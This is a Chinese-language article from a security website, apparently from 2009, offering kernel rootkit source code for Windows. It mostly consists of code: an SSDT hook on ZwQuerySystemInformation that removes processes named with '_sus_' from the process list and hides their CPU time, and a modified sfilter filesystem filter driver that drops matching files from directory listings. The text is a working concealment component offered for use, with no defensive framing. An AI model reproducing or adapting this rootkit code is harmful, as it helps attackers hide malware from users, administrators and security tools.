首页 网络安全 安全学院 查看内容

隐藏文件和进程rootkit代码实现

2009-7-27 12:15 889 0

摘要:   1.隐藏进程.    隐藏进程的实现用的是SSDT钩子技术. SSDT是System Service Dispatch Table(系统服务调度表).该表可以基于系统调用病好进行索引,以便定位函数...
关键词: nbsp currentDirInfo SystemInformatio QuadPart curr IRP NextEntryDelta lpBufLenth status Information

  1.隐藏进程.    隐藏进程的实现用的是SSDT钩子技术. SSDT是System Service Dispatch Table(系统服务调度表).该表可以基于系统调用病好进行索引,以便定位函数的内存地址. 再说说windows操作系统, 有个叫ZwQuerySystemInformation的函数, Taskmgr.exe通过该函数获取系统上的进程列表. 我们通过将NtQuerySystemInformation函数放到SSDT中, 然后在原函数返回的结果上进行过滤,就可以达到隐藏进程的目的.  这个是新写的ZwQuerySystemInformation函数:   01.NTSTATUS NewZwQuerySystemInformation(  02.            IN ULONG SystemInformationClass,  03.            IN PVOID SystemInformation,  04.            IN ULONG SystemInformationLength,  05.            OUT PULONG ReturnLength)  06.{  07.  08.   NTSTATUS ntStatus;  09.  10.   ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (  11.          SystemInformationClass,  12.          SystemInformation,  13.          SystemInformationLength,  14.          ReturnLength );  15.  16.   if( NT_SUCCESS(ntStatus))  17.   {  18.      // Asking for a file and directory listing  19.      if(SystemInformationClass == 5)  20.      {  21.       // This is a query for the process list.  22.  23.     struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)  24.  25.SystemInformation;  26.         struct _SYSTEM_PROCESSES *prev = NULL;  27.  28.     while(curr)  29.     {  30.            //DbgPrint("Current item is %x\n", curr);  31.      if (curr->ProcessName.Buffer != NULL)  32.      {  33.        if( wcsstr( ( wchar_t *)(curr->ProcessName.Buffer),  34.  35.L"_sus_") )    //进程名中包含_sus_则隐藏  36.        {  37.          m_UserTime.QuadPart += curr->UserTime.QuadPart;  38.          m_KernelTime.QuadPart += curr->KernelTime.QuadPart;  39.  40.          if(prev) // Middle or Last entry  41.          {  42.            if(curr->NextEntryDelta)  43.              prev->NextEntryDelta += curr-  44.  45.>NextEntryDelta;  46.            else  // we are last, so make prev the  47.  48.end  49.              prev->NextEntryDelta = 0;  50.          }  51.          else  52.          {  53.            if(curr->NextEntryDelta)  54.            {  55.              // we are first in the list, so  56.  57.move it forward  58.              (char *)SystemInformation += curr-  59.  60.>NextEntryDelta;  61.            }  62.            else // we are the only process!  63.              SystemInformation = NULL;  64.          }  65.        }  66.      }  67.      else // This is the entry for the Idle process  68.      {  69.         // Add the kernel and user times of _root_*  70.         // processes to the Idle process.  71.         curr->UserTime.QuadPart += m_UserTime.QuadPart;  72.         curr->KernelTime.QuadPart += m_KernelTime.QuadPart;  73.  74.         // Reset the timers for next time we filter  75.         m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;  76.      }  77.      prev = curr;  78.        if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);  79.        else curr = NULL;  80.       }  81.    }  82.    else if (SystemInformationClass == 8) // Query for SystemProcessorTimes  83.    {  84.         struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)  85.  86.SystemInformation;  87.         times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;  88.    }  89.  90.   }  91.   return ntStatus;  92.}    2.隐藏文件    本来隐藏文件也可以用钩子的,但是由于手头有MS的IFS DDK,所以干脆写成了文件过滤驱动.它直接作用于文件系统驱动之上, 将其得到的结果修改后返回上层驱动. 因为文件过滤驱动比较复杂,因此我这里只是简单的修改了一下DDK开发包里提供的sfilter例子.  首先是创建一个处理IRP_MJ_DIRECTORY_CONTROL的例程FsDirectoryControl  02.NTSTATUS  03.FsDirectoryControl(IN PDEVICE_OBJECT DeviceObject,  04.                   IN PIRP Irp)  05.{  06.    NTSTATUS status;  07.    PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp);    //当前Irp  08.  09.(IO_STACK_LOCATION)的参数  10.//    PDEVICE_EXTENSION devExt = DeviceObject->DeviceExtension;  11.  PSFILTER_DEVICE_EXTENSION  devExt = DeviceObject->DeviceExtension;  12.    PFILE_BOTH_DIR_INFORMATION dirInfo = NULL;  13.    KEVENT waitEvent;  14.    //UNICODE_STRING path;  15.  16.    ASSERT(IS_MY_DEVICE_OBJECT(DeviceObject));  17.  18.    if (IRP_MN_QUERY_DIRECTORY != irpSp->MinorFunction)  19.    {  20.        goto SkipHandle;  21.    }  22.    if (Irp->RequestorMode == KernelMode)  23.    {  24.        goto SkipHandle;  25.    }  26.  if (KeGetCurrentIrql() != PASSIVE_LEVEL )  27.  {  28.    goto SkipHandle;  29.  }  30.  /*  31.    if (FileBothDirectoryInformation != ((PQUERY_DIRECTORY)&irpSp->Parameters)-  32.  33.>FileInformationClass)  34.    {  35.        goto SkipHandle;  36.    }*/  37.  if (irpSp ->Parameters.QueryDirectory.FileInformationClass !=  38.  39.FileBothDirectoryInformation)  40.  {  41.    goto SkipHandle;  42.  }  43.    //设置完成回调函数  44.    KeInitializeEvent(&waitEvent, NotificationEvent, FALSE);  45.    IoCopyCurrentIrpStackLocationToNext(Irp);  46.    //IoSetCompletionRoutine  47.  48.(Irp,CompletionRoutine,context,InvokeOnSuccess,InvokeOnError,InvokeOnCancel);  49.    IoSetCompletionRoutine(  50.                            Irp,  51.                            DirControlCompletion,        //CompletionRoutine  52.                            &waitEvent,                    //context parameter  53.                            TRUE,  54.                            TRUE,  55.                            TRUE  56.                            );  57.  58.    status = IoCallDriver(devExt->AttachedToDeviceObject, Irp);  59.    if (STATUS_PENDING == status)  60.    {  61.        //等待完成  62.        status = KeWaitForSingleObject(&waitEvent,  63.                                        Executive,  64.                                        KernelMode,  65.                                        FALSE,  66.                                        NULL  67.                                        );  68.        ASSERT(STATUS_SUCCESS == status);  69.    }  70.    if (!NT_SUCCESS(status) ||(0 == irpSp->Parameters.QueryFile.Length))  71.    {  72.        IoCompleteRequest(Irp, IO_NO_INCREMENT);  73.        return status;  74.    }  75.    //KdPrint(("Hook Directory.\n"));  76.    //HandleDirectory(Irp->UserBuffer,  &((PQUERY_DIRECTORY)&irpSp->Parameters)->Length);  77.  HandleDirectory(Irp->UserBuffer,  &(Irp->IoStatus.Information));  78.  79.    IoCompleteRequest(Irp, IO_NO_INCREMENT);  80.    return status;  81.  82.SkipHandle:  83.    IoSkipCurrentIrpStackLocation(Irp);  84.    return IoCallDriver(devExt->AttachedToDeviceObject, Irp);  85.}  然后对返回的结果进行操作:  01.//-------------------------------------------  02.//隐藏文件过滤的函数  03.BOOLEAN  04.HandleDirectory(IN OUT PFILE_BOTH_DIR_INFORMATION DirInfo, IN PULONG lpBufLenth)  05.{  06.  //处理目录操作  07.  PFILE_BOTH_DIR_INFORMATION currentDirInfo = DirInfo;  08.  PFILE_BOTH_DIR_INFORMATION lastDirInfo = NULL;  09.  ULONG offset = 0;  10.  ULONG position = 0;  11.  ULONG newLenth = *lpBufLenth;  12.//  WCHAR fileName[] = L"Test.txt";  13.  do  14.  {  15.    offset = currentDirInfo->NextEntryOffset;  16.    if( wcsstr( ( wchar_t *)currentDirInfo->FileName, L"_sus_") )    //文件中包  17.  18.含_sus_则隐藏  19.    {  20.      //Now We Will Test The FileName  21.      //KdPrint(("%08x Hided File:%ws[%d]\n", currentDirInfo-  22.  23.>FileAttributes, currentDirInfo->FileName, currentDirInfo->FileNameLength));  24.      if (0 == offset)  25.      {  26.        //KdPrint(("l[%d][%d][%d][%d]\n", newLenth, *lpBufLenth,  27.  28.position, newLenth-(*lpBufLenth - position)));  29.        //Reset Last DirInfo NextEntryOffset To Zero!!!  30.        if (lastDirInfo)  31.        {  32.          lastDirInfo->NextEntryOffset = 0;  33.          newLenth -= *lpBufLenth - position;  34.        }  35.        else  36.        {  37.          currentDirInfo->NextEntryOffset = 0;  38.          *lpBufLenth = 0;  39.          return TRUE;  40.        }  41.      }  42.      else  43.      {  44.        //KdPrint(("n[%d][%d][%d]\n", newLenth, *lpBufLenth,  45.  46.position));  47.        RtlMoveMemory(currentDirInfo, (PUCHAR)currentDirInfo +  48.  49.offset, *lpBufLenth - position - offset);  50.        newLenth -= offset;  51.        position += offset;  52.      }  53.    }  54.    else  55.    {  56.      //KdPrint(("%08x Directory:%ws\n", currentDirInfo->FileAttributes,  57.  58.currentDirInfo->FileName));  59.      //Move Next  60.      position += offset;  61.      lastDirInfo = currentDirInfo;  62.      currentDirInfo = (PFILE_BOTH_DIR_INFORMATION)((PUCHAR)  63.  64.currentDirInfo + offset);  65.    }  66.  } while (0 != offset);  67.  *lpBufLenth = newLenth;  68.  return TRUE;  69.}  70.//-------------------------------  71.//完成例程  72.NTSTATUS  73.DirControlCompletion(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context)  74.{  75.  PKEVENT event = Context;  76.  77.    UNREFERENCED_PARAMETER( DeviceObject );  78.    UNREFERENCED_PARAMETER( Irp );  79.  80.    ASSERT(IS_MY_DEVICE_OBJECT( DeviceObject ));  81.  82.  //if (Irp->PendingReturned) IoMarkIrpPending(Irp);  83.    KeSetEvent(event, IO_NO_INCREMENT, FALSE);  84.  85.    return STATUS_MORE_PROCESSING_REQUIRED;  86.}
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部